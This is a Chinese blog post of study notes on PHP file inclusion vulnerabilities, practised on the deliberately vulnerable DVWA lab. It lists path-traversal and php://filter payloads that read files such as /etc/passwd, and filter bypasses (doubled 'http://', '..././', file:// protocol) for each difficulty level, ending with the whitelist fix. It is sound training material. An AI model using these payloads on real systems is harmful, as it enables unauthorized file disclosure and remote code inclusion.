DVWA-文件包含学习笔记

DVWA-文件包含学习笔记

一、文件包含与漏洞

文件包含:

  开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。

文件包含漏洞:

  开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

二、文件包含漏洞用到的函数

require:找不到被包含的文件,报错,并且停止运行脚本。

include:找不到被包含的文件,只会报错,但会继续运行脚本。

require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。

include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

三、目录遍历与文件包含的区别

  目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对本系统。

  文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。

四、文件包含特征

?page=a.php
?home=b.html
?file=content

检测方法

?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt

 

五、DVWA练习

1.修改php.ini配置文件开启文件包含功能

allow_url_include = on

   

将DVWA的级别设置为low

1.分析源码,可以看到没有对page参数做任何过滤

  

 本地文件包含

2.尝试利用文件包含

2.1绝对路径

  

文件包含时,不管包含的文件是什么类型,都会优先尝试当作php文件执行,如果文件内容有php代码,则会执行php代码并返回代码执行的结果,如果文件内容没有php代码,则把文件内容打印出来

   

文件内容没有php代码,把文件内容打印(显示)到浏览器页面

   

2.2相对路径

  

3.使用php封装协议读取和写入php文件

3.1读取文件

php://filter/read=convert.base64-encode/resource=..././..././..././..././1.txt 访问,可以看到显示了base64编码的内容

  

使用burpsuit的decode模块解码

  

3.2写入php文件,下图可以看到输入的内容并返回结果

  

远程文件包含

1.通过http协议包含本地服务器上的文件

  

2.通过http协议包含远程服务器上的文件

  

将DVWA的级别设置为medium

1.分析源码,可以看到使用str_replace函数对http://、https://、../ 、..\进行了过滤,但可以通过双写来绕过,或者使用绝对路径来绕过

  

2.尝试绕过

先使用http://192.168.10.130/1.txt 抓包分析,可以看到对http://做了过滤

  

使用双写绕过http://的过滤    htthttp://p://192.168.10.144/1.txt

  

使用..././..././..././..././..././..././..././ 绕过../的过滤

  

使用绝对路径绕过

  

使用file协议绕过

  

将DVWA的级别设置为High

1.分析源码可以看到,如果$file变量中不含有file并且$file不等于include.php,此时服务器才不会去包含文件,两个条件只要不满足其中任意一个,就能达到文件包含的目的,可以是同file协议来绕过

  

2.使用file协议绕过

  

将DVWA的级别设置为Impossible

1.分析源码可以看到,使用白名单,page只能为include.php”、“file1.php”、“file2.php”、“file3.php”之一,只允许包含include.php、file1.php、file2.php、file3.php,不能包含别的文件,彻底杜绝文件包含漏洞

  

 

posted @ 2019-05-19 11:04  雨中落叶  阅读(6712)  评论(0编辑  收藏  举报